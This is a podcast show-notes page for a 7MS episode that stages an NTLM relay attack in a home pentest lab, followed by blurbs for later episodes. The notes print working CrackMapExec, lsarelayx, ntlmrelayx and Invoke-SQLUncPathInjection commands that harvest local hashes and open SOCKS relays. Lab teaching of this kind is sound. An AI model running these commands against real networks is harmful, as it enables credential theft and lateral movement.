7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

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In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

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7MS #727: Securing Your Mental Health – Part 7

7MS #727: Securing Your Mental Health – Part 7

Hello friends! It's been over a year since we did a dedicated mental health episode, so today I'm doing a big catch-up and running through my 7-point plan for being a more mentally secure me. None of ...

19 Juni 21min

7MS #726: Baby's First Hermes

7MS #726: Baby's First Hermes

Hello friends! I've been on a bit of an AI agent journey lately, and today I'm sharing my experience ditching OpenClaw and going all-in on Hermes — a self-hosted AI agent built by Nous Research. A Net...

12 Juni 22min

7MS #725: Building a Bulletproof Backup Solution

7MS #725: Building a Bulletproof Backup Solution

Hey friends! Backups are not as cool as pentesting, but boy do they matter when things go sideways. This week I'm sharing how a Proxmox backup disk space meltdown led me to a completely overhauled — a...

5 Juni 21min

7MS #724: Tales of Pentest Pwnage - Part 85

7MS #724: Tales of Pentest Pwnage - Part 85

Hey friends! Today we're going deep on external network pentesting — something I realize we've barely touched in however many episodes we've done. I'm currently in a long stretch of back-to-back exter...

29 Maj 30min

7MS #723: CARTP - Cloud Red Team Tactics for Attacking and Defending Azure - Part 1

7MS #723: CARTP - Cloud Red Team Tactics for Attacking and Defending Azure - Part 1

Hello friends! Today's a hybrid episode — some security content up top about a new certification I've kicked off, followed by an aggressively quick trip to Tangent Town. Feel free to bail after the se...

23 Maj 32min

7MS #722: I Turned My Phone Into a Brick

7MS #722: I Turned My Phone Into a Brick

Hey friends! Quasi-vacation week over here, so today's episode is lighter and more personal: just a story about how I turned my phone into a "brick" (kind of) and what that's done for my mental health...

15 Maj 23min

7MS #721: Fun Professional and Personal AI Project Ideas – Part 2

7MS #721: Fun Professional and Personal AI Project Ideas – Part 2

Hello friends! Picking up the AI-automation series from a couple weeks back — here's another batch of scripts and integrations that have been giving me precious minutes (and sanity) back. Yes, I had t...

8 Maj 25min

7MS #720: Tales of Pentest Pwnage – Part 84

7MS #720: Tales of Pentest Pwnage – Part 84

Hey friends! Today's another Tales of Pentest Pwnage! Quick tangent first on a couple side projects: I've got a music thing at quack.house (like the duck noise, not the drug) and a podcast with my dan...

1 Maj 43min

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